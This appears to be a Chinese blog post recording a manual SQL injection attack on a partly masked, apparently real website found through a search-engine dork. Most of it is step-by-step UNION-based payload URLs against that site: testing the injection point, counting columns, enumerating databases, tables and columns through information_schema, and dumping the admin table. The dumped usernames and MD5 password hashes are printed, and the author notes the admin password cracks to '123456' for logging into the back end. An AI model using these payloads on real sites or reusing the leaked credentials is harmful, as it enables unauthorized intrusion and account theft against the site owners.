MYSQL注入整理

最新在研究SQL手动注入,拿了个网站开刷。首先是找到带有SQL注入点,就去谷歌随便找了个inurl:php?id=

//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228 改链接就存在SQL注入点。

第一步,进行注入测试。 最简单的方法就是 在链接后边加上 and  1=1 和 and 1=2 如果在and 1=2 显示页面不正常,而在and 1=2下显示正常,则证明 该链接存在注入点。其原理是:一般查询的语句为

select * from table where id=1

//按照这样测试就成为了

select * from table where id=1 and 1=2

第二步,在找到注入点后, 猜解当前网页的字段数

//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 6</pre>
<pre escaped="true">//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 7</pre>
<pre escaped="true">

Order by 6显示正常 ;order 7 显示不正常。说明字段数为6
第三步,爆出当前链接的显示位

        
//对应的数字就是显示的位置,显示位为 2和4</pre>
<pre escaped="true">//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,4,5,6–-</pre>
<pre escaped="true">

第四步,爆出数据库的基本信息。
//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,concat(user(),0x20,database(),0x20,version()),5,6–-
用户:people@localhost 数据库名:people 版本:5.0.20a-log
爆出所有的数据库:
//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_schema),5,6+from+information_schema.columns–

爆出数据库名:information_schema,people,test

information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。

MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。

第五部,根据数据库表进行爆出所有数据库的表名:
//rsc.XXXx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_name),5,6+from+information_schema.tables+where+table_schema=database()–

admin1,answer,check,class,news,system,zhaoping
该页面为news.php 其数据库表肯定就是news表,
第六步,爆出admin1表里字段,再爆出的用户信息,登录后台
把admin1进行hex(16进制)的结果为:0x61646D696E31
爆出所有的字段:
//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+column_name),5,6+from+information_schema.columns+where+table_name=0x61646D696E31–

字段为:id,admin,password,rank

再爆出 admin和password里的值:
//rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6+from+admin1–

1+admin+e10adc3949ba59abbe56e057f20f883e+0,
2+87046609+e10adc3949ba59abbe56e057f20f883e+1,
3+87046607+14a026642666897df2fcdcfe821af855+2,
4+87046608+e10adc3949ba59abbe56e057f20f883e+3,
5+87046605+9511364ffd98d4ac7fa9a4804b0e5669+4,
6+87046610+e10adc3949ba59abbe56e057f20f883e+5,
7+87046606+c11948f135f946ff173ca9b5d88465ca+6

把admin的密码MD5解密下为123456,
就OK 了。

发表评论

This site uses Akismet to reduce spam. Learn how your comment data is processed.

关闭菜单